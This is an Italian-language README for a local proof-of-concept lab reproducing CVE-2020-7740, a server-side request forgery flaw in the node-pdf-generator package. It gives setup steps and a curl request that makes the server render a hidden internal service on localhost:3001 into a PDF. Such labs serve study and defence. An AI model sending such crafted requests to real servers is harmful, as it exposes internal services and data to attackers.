CVE-2020-7740

Questo interessa tutte le versioni del pacchetto node-pdf-generator. A causa della mancanza di convalida e sanificazione dell'input dell'utente eseguita sul contenuto fornito a node-pdf-generator, è possibile per un attaccante creare un url che verrà passato a un server esterno consentendo un attacco SSRF.

Fonte

Avvio rapido con docker

1. Costruisci il contenitore con
2. Esegui il contenitore con docker run -p 3000:3000 cve-2020-7740
3. Nota che non possiamo visitare localhost:3001 direttamente
4. Invia la richiesta con curl usando curl --location --request GET localhost:3000/test --data-raw http://localhost:3001 --output test.pdf
5. Visualizza test.pdf per vedere il sito web localhost che dovrebbe essere nascosto.

Avvio rapido senza docker

1. Clona il progetto usando git clone {link to be inserted}
2. Installa le dipendenze da https://wkhtmltopdf.org/
3. Avvia il server usando node .\NodePdfGeneratorServer il server sarà in esecuzione su localhost:3000
4. Installa i requisiti del server python nascosto usando python3 -m pip install -r requirements.txt
5. Avvia il server nascosto usando python3 HiddenService il server sarà in esecuzione su 'localhost:3001`

Come funziona?

1. Una richiesta GET con un corpo viene inviata al server. Può essere inviata usando curl --location --request GET localhost:3000/test --data-raw http://www.google.com --output test.pdf
2. Questo salverà una copia della pagina html di http://www.google.com nel file test.pdf

Perché è vulnerabile?

1. Altri URL che vengono forniti al server saranno visitati dal server per convertire il sito web in pdf.
2. Questo permette all'utente di forgiare una richiesta al server fornendo un indirizzo IP interno da prendere di mira.

Ulteriori informazioni sul CVE-2020-7740

1. Vicarius.io
2. NVD
3. Repository originale